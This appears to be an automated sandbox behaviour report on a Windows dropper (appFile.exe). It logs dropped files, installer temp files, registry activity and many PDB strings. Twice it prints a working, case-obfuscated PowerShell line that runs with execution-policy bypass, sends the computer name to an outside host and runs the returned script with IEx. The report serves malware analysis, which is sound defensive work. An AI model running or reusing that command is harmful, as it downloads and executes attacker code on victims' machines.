Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: windowscodecs.dll

Source: C:\Users\user\Desktop\appFile.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp

Window found: window name: TMainForm

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: appFile.exe

Static file information: File size 37872978 > 1048576

Source: appFile.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: umdmxfrm.pdb source: appFile.exe
Source:	Binary string: msdadc.pdb source: appFile.exe
Source:	Binary string: WalletProxy.pdb source: appFile.exe
Source:	Binary string: mprext.pdbGCTL source: appFile.exe
Source:	Binary string: msvfw32.pdb source: appFile.exe
Source:	Binary string: msident.pdbGCTL source: appFile.exe
Source:	Binary string: odpdx32.pdbGCTL source: appFile.exe
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: appFile.exe
Source:	Binary string: WSClient.pdbGCTL source: appFile.exe
Source:	Binary string: ws2help.pdb source: appFile.exe
Source:	Binary string: winsockai.pdbGCTL source: appFile.exe
Source:	Binary string: ODBCCR32.pdb source: appFile.exe
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000010.00000002.2149016419.0000000002DCC000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2149016419.0000000002DFC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-shutdown-l1-1-0.pdb source: appFile.exe
Source:	Binary string: mscat32.pdb source: appFile.exe
Source:	Binary string: UserDataLanguageUtil.pdb source: appFile.exe
Source:	Binary string: mprext.pdb source: appFile.exe
Source:	Binary string: msctfui.pdb source: appFile.exe
Source:	Binary string: appxprovisionpackage.pdb source: appFile.exe
Source:	Binary string: hnetmon.pdb source: appFile.exe
Source:	Binary string: CHxReadingStringIME.pdb source: appFile.exe
Source:	Binary string: mscpxl32.pdb source: appFile.exe
Source:	Binary string: msdaenum.pdbGCTL source: appFile.exe
Source:	Binary string: cmifw.pdb source: appFile.exe
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: appFile.exe
Source:	Binary string: servicemodelregai.pdb source: appFile.exe
Source:	Binary string: tapiperf.pdbGCTL source: appFile.exe
Source:	Binary string: l2nacp.pdbGCTL source: appFile.exe
Source:	Binary string: licmgr10.pdb source: appFile.exe
Source:	Binary string: nddeapi.pdbGCTL source: appFile.exe
Source:	Binary string: api-ms-win-core-sysinfo-l1-2-1.pdb source: appFile.exe
Source:	Binary string: sppinst.pdb source: appFile.exe
Source:	Binary string: odbcji32.pdbGCTL source: appFile.exe
Source:	Binary string: wshunix.pdbGCTL source: appFile.exe
Source:	Binary string: snmpapi.pdb source: appFile.exe
Source:	Binary string: >ile-l1-1-0.pdb source: appFile.exe
Source:	Binary string: api-ms-win-core-fibers-l1-1-1.pdb source: appFile.exe
Source:	Binary string: IMEDICAPICCPS.pdbGCTL source: appFile.exe
Source:	Binary string: pntw.pdbGCTL source: appFile.exe
Source:	Binary string: SLWGA.pdbUGP source: appFile.exe
Source:	Binary string: msjint40.pdb source: appFile.exe
Source:	Binary string: netfxconfig.pdbGCTL source: appFile.exe
Source:	Binary string: ir41_qc.pdb source: appFile.exe
Source:	Binary string: ir41_qcx.pdb source: appFile.exe
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdb source: appFile.exe
Source:	Binary string: odbcbcp.pdb source: appFile.exe
Source:	Binary string: PSModuleDiscoveryProvider.pdb source: appFile.exe
Source:	Binary string: msdatt.pdbGCTL source: appFile.exe
Source:	Binary string: mfdvdec.pdb source: appFile.exe
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: appFile.exe
Source:	Binary string: \??\C:\Windows\dll\Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000010.00000002.2153441742.0000000007485000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: storagewmi_passthru.pdbGCTL source: appFile.exe
Source:	Binary string: msdasc.pdb source: appFile.exe
Source:	Binary string: wmiprop.pdbGCTL source: appFile.exe
Source:	Binary string: msafd.pdbGCTL source: appFile.exe
Source:	Binary string: api-ms-win-core-errorhandling-l1-1-1.pdb source: appFile.exe
Source:	Binary string: clb.pdb source: appFile.exe
Source:	Binary string: msdaenum.pdb source: appFile.exe
Source:	Binary string: spnet.pdbGCTL source: appFile.exe
Source:	Binary string: mssip32.pdb source: appFile.exe
Source:	Binary string: SLWGA.pdb source: appFile.exe
Source:	Binary string: msident.pdb source: appFile.exe
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000010.00000002.2149016419.0000000002DCC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ir50_qcx.pdb source: appFile.exe
Source:	Binary string: mscpxl32.pdbGCTL source: appFile.exe
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: appFile.exe
Source:	Binary string: VscMgrPS.pdbGCTL source: appFile.exe
Source:	Binary string: syssetup.pdbGCTL source: appFile.exe
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdb source: appFile.exe
Source:	Binary string: PerceptionSimulation.ProxyStubs.pdb source: appFile.exe
Source:	Binary string: api-ms-win-service-management-l1-1-0.pdb source: appFile.exe
Source:	Binary string: msdadc.pdbGCTL source: appFile.exe
Source:	Binary string: msvcp60.pdb source: appFile.exe
Source:	Binary string: ndproxystub.pdbGCTL source: appFile.exe
Source:	Binary string: peerdistai.pdb source: appFile.exe
Source:	Binary string: wlanutil.pdb source: appFile.exe
Source:	Binary string: RemoveDeviceElevated.pdbGCTL source: appFile.exe
Source:	Binary string: wsock32.pdb source: appFile.exe
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: appFile.exe
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: appFile.exe
Source:	Binary string: panmap.pdb source: appFile.exe
Source:	Binary string: odtext32.pdb source: appFile.exe
Source:	Binary string: DelegatorProvider.pdb source: appFile.exe
Source:	Binary string: txfw32.pdb source: appFile.exe
Source:	Binary string: msctfui.pdbGCTL source: appFile.exe
Source:	Binary string: umdmxfrm.pdbGCTL source: appFile.exe
Source:	Binary string: msiltcfg.pdb source: appFile.exe
Source:	Binary string: pntw.pdb source: appFile.exe
Source:	Binary string: lz32.pdbGCTL source: appFile.exe
Source:	Binary string: -l1-1-0.pdb source: appFile.exe
Source:	Binary string: UserDataLanguageUtil.pdbGCTL source: appFile.exe
Source:	Binary string: msiltcfg.pdbGCTL source: appFile.exe
Source:	Binary string: snmpapi.pdbUGP source: appFile.exe
Source:	Binary string: hnetmon.pdbGCTL source: appFile.exe
Source:	Binary string: CHxReadingStringIME.pdbGCTL source: appFile.exe
Source:	Binary string: storprop.pdbGCTL source: appFile.exe
Source:	Binary string: storprop.pdb source: appFile.exe
Source:	Binary string: usbperf.pdbGCTL source: appFile.exe
Source:	Binary string: clb.pdbGCTL source: appFile.exe
Source:	Binary string: winrssrv.pdbGCTL source: appFile.exe
Source:	Binary string: whhelper.pdbGCTL source: appFile.exe
Source:	Binary string: API-MS-Win-Eventing-Controller-L1-1-0.pdb source: appFile.exe
Source:	Binary string: RpcNs4.pdbGCTL source: appFile.exe
Source:	Binary string: SyncHostPS.pdbGCTL source: appFile.exe
Source:	Binary string: winrssrv.pdb source: appFile.exe
Source:	Binary string: msdasc.pdbGCTL source: appFile.exe
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: appFile.exe
Source:	Binary string: appxprovisionpackage.pdbGCTL source: appFile.exe
Source:	Binary string: Microsoft.BitLocker.Structures.pdb source: appFile.exe
Source:	Binary string: ir41_qc.pdbGCTL source: appFile.exe
Source:	Binary string: VscMgrPS.pdb source: appFile.exe
Source:	Binary string: sppinst.pdbGCTL source: appFile.exe
Source:	Binary string: usbperf.pdb source: appFile.exe
Source:	Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: appFile.exe
Source:	Binary string: pspluginwkr.pdb source: appFile.exe
Source:	Binary string: svcext.pdbGCTL source: appFile.exe
Source:	Binary string: msrating.pdb source: appFile.exe
Source:	Binary string: softpub.pdb source: appFile.exe
Source:	Binary string: ifsutilx.pdbGCTL source: appFile.exe
Source:	Binary string: winsockai.pdb source: appFile.exe
Source:	Binary string: pcwum.pdb source: appFile.exe
Source:	Binary string: SyncInfrastructurePS.pdbGCTL source: appFile.exe
Source:	Binary string: sppwmi.pdbGCTL source: appFile.exe
Source:	Binary string: IMEDICAPICCPS.pdb source: appFile.exe
Source:	Binary string: msxactps.pdbGCTL source: appFile.exe
Source:	Binary string: ndproxystub.pdb source: appFile.exe
Source:	Binary string: odbcji32.pdb source: appFile.exe
Source:	Binary string: bcdeditai.pdb source: appFile.exe
Source:	Binary string: SyncHostPS.pdb source: appFile.exe
Source:	Binary string: NetworkItemFactory.pdb source: appFile.exe
Source:	Binary string: odbcbcp.pdbGCTL source: appFile.exe
Source:	Binary string: utildll.pdbUGP source: appFile.exe
Source:	Binary string: msafd.pdb source: appFile.exe
Source:	Binary string: api-ms-win-core-localization-l1-2-1.pdb source: appFile.exe
Source:	Binary string: msdaurl.pdb source: appFile.exe
Source:	Binary string: winml.pdb source: appFile.exe
Source:	Binary string: api-ms-win-core-heap-obsolete-l1-1-0.pdb source: appFile.exe
Source:	Binary string: Magnification.pdbGCTL source: appFile.exe
Source:	Binary string: oddbse32.pdb source: appFile.exe
Source:	Binary string: lper.pdb source: appFile.exe
Source:	Binary string: DBnmpntw.pdb source: appFile.exe
Source:	Binary string: SetIEInstalledDateAI.pdbGCTL source: appFile.exe
Source:	Binary string: aspperf.pdbGCTL source: appFile.exe
Source:	Binary string: ODBCCR32.pdbGCTL source: appFile.exe
Source:	Binary string: cca.pdb source: appFile.exe
Source:	Binary string: IEFileInstallAI.pdbGCTL source: appFile.exe
Source:	Binary string: TimeDateMUICallback.pdb source: appFile.exe
Source:	Binary string: RpcNs4.pdb source: appFile.exe
Source:	Binary string: api-ms-win-core-kernel32-legacy-l1-1-1.pdb source: appFile.exe
Source:	Binary string: cmcfg32.pdbGCTL source: appFile.exe
Source:	Binary string: RemoveDeviceElevated.pdb source: appFile.exe
Source:	Binary string: f:\binaries.x86ret\bin\i386\Optimization\opt\wpf\wpfgfx_v0300.pdb source: appFile.exe
Source:	Binary string: SetIEInstalledDateAI.pdb source: appFile.exe
Source:	Binary string: IconCodecService.pdb source: appFile.exe
Source:	Binary string: cmlua.pdbGCTL source: appFile.exe
Source:	Binary string: TTDPlm.pdbGCTL source: appFile.exe
Source:	Binary string: ir50_qcx.pdbGCTL source: appFile.exe
Source:	Binary string: mimofcodec.pdb source: appFile.exe
Source:	Binary string: TimeDateMUICallback.pdbGCTL source: appFile.exe
Source:	Binary string: mssip32.pdbGCTL source: appFile.exe
Source:	Binary string: LAPRXY.pdb source: appFile.exe
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdb source: appFile.exe
Source:	Binary string: IconCodecService.pdbUGP source: appFile.exe
Source:	Binary string: PrintAdvancedInstaller.pdb source: appFile.exe
Source:	Binary string: netfxconfig.pdb source: appFile.exe
Source:	Binary string: msiwer.pdbGCTL source: appFile.exe
Source:	Binary string: \??\C:\Windows\dll\Microsoft.PowerShell.Commands.Utility.pdbnMai source: powershell.exe, 00000010.00000002.2153441742.0000000007485000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: PaymentMediatorServiceProxy.pdbGCTL source: appFile.exe
Source:	Binary string: api-ms-win-service-core-l1-1-1.pdb source: appFile.exe
Source:	Binary string: icmp.pdb source: appFile.exe
Source:	Binary string: wmdrmsdk.pdb source: appFile.exe
Source:	Binary string: API-MS-Win-devices-config-L1-1-0.pdb source: appFile.exe
Source:	Binary string: msvidc32.pdbGCTL source: appFile.exe
Source:	Binary string: IA2ComProxy.pdbGCTL source: appFile.exe
Source:	Binary string: cmstplua.pdb source: appFile.exe
Source:	Binary string: l2nacp.pdb source: appFile.exe
Source:	Binary string: spnet.pdb source: appFile.exe
Source:	Binary string: ir50_32.pdbGCTL source: appFile.exe
Source:	Binary string: odpdx32.pdb source: appFile.exe
Source:	Binary string: mscat32.pdbGCTL source: appFile.exe
Source:	Binary string: ztrace_maps.pdbGCTL source: appFile.exe
Source:	Binary string: cmifw.pdbGCTL source: appFile.exe
Source:	Binary string: ifsutilx.pdb source: appFile.exe
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbsx source: powershell.exe, 00000010.00000002.2153365718.0000000007471000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: security.pdbGCTL source: appFile.exe
Source:	Binary string: msvfw32.pdbGCTL source: appFile.exe
Source:	Binary string: storagewmi_passthru.pdb source: appFile.exe
Source:	Binary string: oddbse32.pdbGCTL source: appFile.exe
Source:	Binary string: VirtualDisplayManager.ProxyStubs.pdbGCTL source: appFile.exe
Source:	Binary string: Magnification.pdb source: appFile.exe
Source:	Binary string: API-MS-Win-Core-Kernel32-Private-L1-1-1.pdb source: appFile.exe
Source:	Binary string: SixDofControllerManager.ProxyStubs.pdb source: appFile.exe
Source:	Binary string: IA2ComProxy.pdb source: appFile.exe
Source:	Binary string: PrintAdvancedInstaller.pdbGCTL source: appFile.exe
Source:	Binary string: msdatt.pdb source: appFile.exe
Source:	Binary string: nddeapi.pdb source: appFile.exe
Source:	Binary string: cmstplua.pdbGCTL source: appFile.exe
Source:	Binary string: winml.pdbGCTL source: appFile.exe
Source:	Binary string: DBnmpntw.pdbGCTL source: appFile.exe
Source:	Binary string: lper.pdbGCTL source: appFile.exe
Source:	Binary string: SixDofControllerManager.ProxyStubs.pdbGCTL source: appFile.exe
Source:	Binary string: serialui.pdb source: appFile.exe
Source:	Binary string: msjint40.pdbV source: appFile.exe
Source:	Binary string: icmp.pdbGCTL source: appFile.exe
Source:	Binary string: SAS.pdbGCTL source: appFile.exe
Source:	Binary string: Microsoft.BitLocker.Structures.pdbiC source: appFile.exe
Source:	Binary string: uniplat.pdb source: appFile.exe
Source:	Binary string: h-l1-2-0.pdb source: appFile.exe
Source:	Binary string: security.pdb source: appFile.exe
Source:	Binary string: wshunix.pdb source: appFile.exe
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: appFile.exe
Source:	Binary string: licmgr10.pdbUGP source: appFile.exe
Source:	Binary string: tapiperf.pdb source: appFile.exe
Source:	Binary string: syssetup.pdb source: appFile.exe
Source:	Binary string: modemui.pdb source: appFile.exe
Source:	Binary string: api-ms-win-core-xstate-l2-1-0.pdb source: appFile.exe
Source:	Binary string: wmiprop.pdb source: appFile.exe
Source:	Binary string: panmap.pdbGCTL source: appFile.exe
Source:	Binary string: api-ms-win-core-registry-l2-1-0.pdb source: appFile.exe
Source:	Binary string: cca.pdbGCTL source: appFile.exe
Source:	Binary string: mssign32.pdbGCTL source: appFile.exe
Source:	Binary string: ntlanui2.pdb source: appFile.exe
Source:	Binary string: lz32.pdb source: appFile.exe
Source:	Binary string: cmutil.pdbGCTL source: appFile.exe
Source:	Binary string: msdaer.pdb source: appFile.exe
Source:	Binary string: cmcfg32.pdb source: appFile.exe
Source:	Binary string: softpub.pdbGCTL source: appFile.exe
Source:	Binary string: SAS.pdb source: appFile.exe
Source:	Binary string: ntlanui2.pdbGCTL source: appFile.exe
Source:	Binary string: wmcodecdspps.pdb source: appFile.exe
Source:	Binary string: odfox32.pdbGCTL source: appFile.exe
Source:	Binary string: utildll.pdb source: appFile.exe
Source:	Binary string: API-MS-Win-EventLog-Legacy-L1-1-0.pdb source: appFile.exe
Source:	Binary string: mfdvdec.pdbUGP source: appFile.exe
Source:	Binary string: NetworkItemFactory.pdbGCTL source: appFile.exe
Source:	Binary string: LAPRXY.pdbGCTL source: appFile.exe
Source:	Binary string: wsock32.pdbUGP source: appFile.exe
Source:	Binary string: API-MS-Win-Core-Kernel32-Private-L1-1-0.pdb source: appFile.exe
Source:	Binary string: ws2help.pdbGCTL source: appFile.exe
Source:	Binary string: api-ms-win-security-cryptoapi-l1-1-0.pdb source: appFile.exe
Source:	Binary string: txfw32.pdbGCTL source: appFile.exe
Source:	Binary string: sppwmi.pdb source: appFile.exe
Source:	Binary string: SyncInfrastructurePS.pdb source: appFile.exe
Source:	Binary string: cmutil.pdb source: appFile.exe
Source:	Binary string: api-ms-win-core-string-obsolete-l1-1-0.pdb source: appFile.exe
Source:	Binary string: msiwer.pdb source: appFile.exe
Source:	Binary string: bcdeditai.pdbGCTL source: appFile.exe
Source:	Binary string: timezoneai.pdb source: appFile.exe
Source:	Binary string: mspbde40.pdb source: appFile.exe
Source:	Binary string: IEFileInstallAI.pdb source: appFile.exe
Source:	Binary string: msdatl3.pdbGCTL source: appFile.exe
Source:	Binary string: modemui.pdbGCTL source: appFile.exe
Source:	Binary string: peerdistai.pdbGCTL source: appFile.exe
Source:	Binary string: api-ms-win-core-registry-l1-1-0.pdb source: appFile.exe
Source:	Binary string: api-ms-win-core-wow64-l1-1-0.pdb source: appFile.exe
Source:	Binary string: pcwum.pdbGCTL source: appFile.exe
Source:	Binary string: odfox32.pdb source: appFile.exe
Source:	Binary string: wmcodecdspps.pdbGCTL source: appFile.exe
Source:	Binary string: rnr20.pdb source: appFile.exe
Source:	Binary string: shfolder.pdbGCTL source: appFile.exe
Source:	Binary string: mimofcodec.pdbGCTL source: appFile.exe
Source:	Binary string: WSClient.pdb source: appFile.exe
Source:	Binary string: TTDPlm.pdb source: appFile.exe
Source:	Binary string: serialui.pdbGCTL source: appFile.exe
Source:	Binary string: PaymentMediatorServiceProxy.pdb source: appFile.exe
Source:	Binary string: E:\A\_work\2\s\binaries\Win32\Release\msdbg2.pdb source: appFile.exe
Source:	Binary string: msdaurl.pdbGCTL source: appFile.exe
Source:	Binary string: icsigd.pdbGCTL source: appFile.exe
Source:	Binary string: msdaer.pdbGCTL source: appFile.exe
Source:	Binary string: cmlua.pdb source: appFile.exe
Source:	Binary string: msrating.pdbGCTL source: appFile.exe
Source:	Binary string: rnr20.pdbGCTL source: appFile.exe
Source:	Binary string: uniplat.pdbGCTL source: appFile.exe
Source:	Binary string: wlanutil.pdbGCTL source: appFile.exe
Source:	Binary string: serwvdrv.pdbGCTL source: appFile.exe
Source:	Binary string: ir50_32.pdb source: appFile.exe
Source:	Binary string: shfolder.pdb source: appFile.exe
Source:	Binary string: icsigd.pdb source: appFile.exe
Source:	Binary string: aspperf.pdb source: appFile.exe
Source:	Binary string: PSModuleDiscoveryProvider.pdbGCTL source: appFile.exe
Source:	Binary string: mssign32.pdb source: appFile.exe
Source:	Binary string: odtext32.pdbGCTL source: appFile.exe
Source:	Binary string: servicemodelregai.pdbGCTL source: appFile.exe
Source:	Binary string: msdatl3.pdb source: appFile.exe
Source:	Binary string: wmdrmsdk.pdbGCTL source: appFile.exe
Source:	Binary string: msvidc32.pdb source: appFile.exe
Source:	Binary string: WalletProxy.pdbGCTL source: appFile.exe
Source:	Binary string: api-ms-win-core-realtime-l1-1-0.pdb source: appFile.exe
Source:	Binary string: ztrace_maps.pdb source: appFile.exe
Source:	Binary string: msxactps.pdb source: appFile.exe
Source:	Binary string: serwvdrv.pdb source: appFile.exe
Source:	Binary string: PerceptionSimulation.ProxyStubs.pdbGCTL source: appFile.exe
Source:	Binary string: api-ms-win-core-comm-l1-1-0.pdb source: appFile.exe
Source:	Binary string: svcext.pdb source: appFile.exe
Source:	Binary string: timezoneai.pdbGCTL source: appFile.exe
Source:	Binary string: DelegatorProvider.pdbGCTL source: appFile.exe
Source:	Binary string: ir41_qcx.pdbGCTL source: appFile.exe
Source:	Binary string: whhelper.pdb source: appFile.exe
Source:	Binary string: VirtualDisplayManager.ProxyStubs.pdb source: appFile.exe

Data Obfuscation

Suspicious powershell command line found

Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content;
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content;			Jump to behavior

Source: C:\Users\user\Desktop\appFile.exe

Code function: 0_2_00406328 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406328

Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp.20.dr	Static PE information: real checksum: 0x33908a should be: 0x33ab8c
Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp.18.dr	Static PE information: real checksum: 0x33908a should be: 0x33ab8c

Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.exe.11.dr	Static PE information: section name: .didata
Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp.18.dr	Static PE information: section name: .didata
Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp.20.dr	Static PE information: section name: .didata

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 16_2_04C02D2D push esp; iretd	16_2_04C02D71
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Code function: 49_2_00BE8F56 pushfd ; iretd	49_2_00BE8F8B
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Code function: 49_2_0087C008 push ecx; mov dword ptr [esp], edx	49_2_0087C00C
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Code function: 49_2_0087C068 push ecx; mov dword ptr [esp], edx	49_2_0087C06C
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Code function: 49_2_0087C384 push 0087C3B0h; ret	49_2_0087C3A8
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Code function: 49_2_0087C508 push 74000000h; iretd	49_2_0087C50D

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\723356\Ted.com

Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File created: C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	File created: C:\Users\user\AppData\Roaming\UltraMedia\is-NG40A.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	File created: C:\Users\user\AppData\Local\Temp\is-O7LIQ.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe	File created: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	File created: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	File created: C:\Users\user\AppData\Local\Temp\is-QU1EC.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	File created: C:\Users\user\AppData\Local\Temp\is-QU1EC.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe	File created: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	File created: C:\Users\user\AppData\Local\Temp\is-O7LIQ.tmp\_isetup\_isdecmp.dll	Jump to dropped file

Source: appFile.exe

Binary or memory string: use Bcdedit.exe to add, delete, edit, a

Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\appFile.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
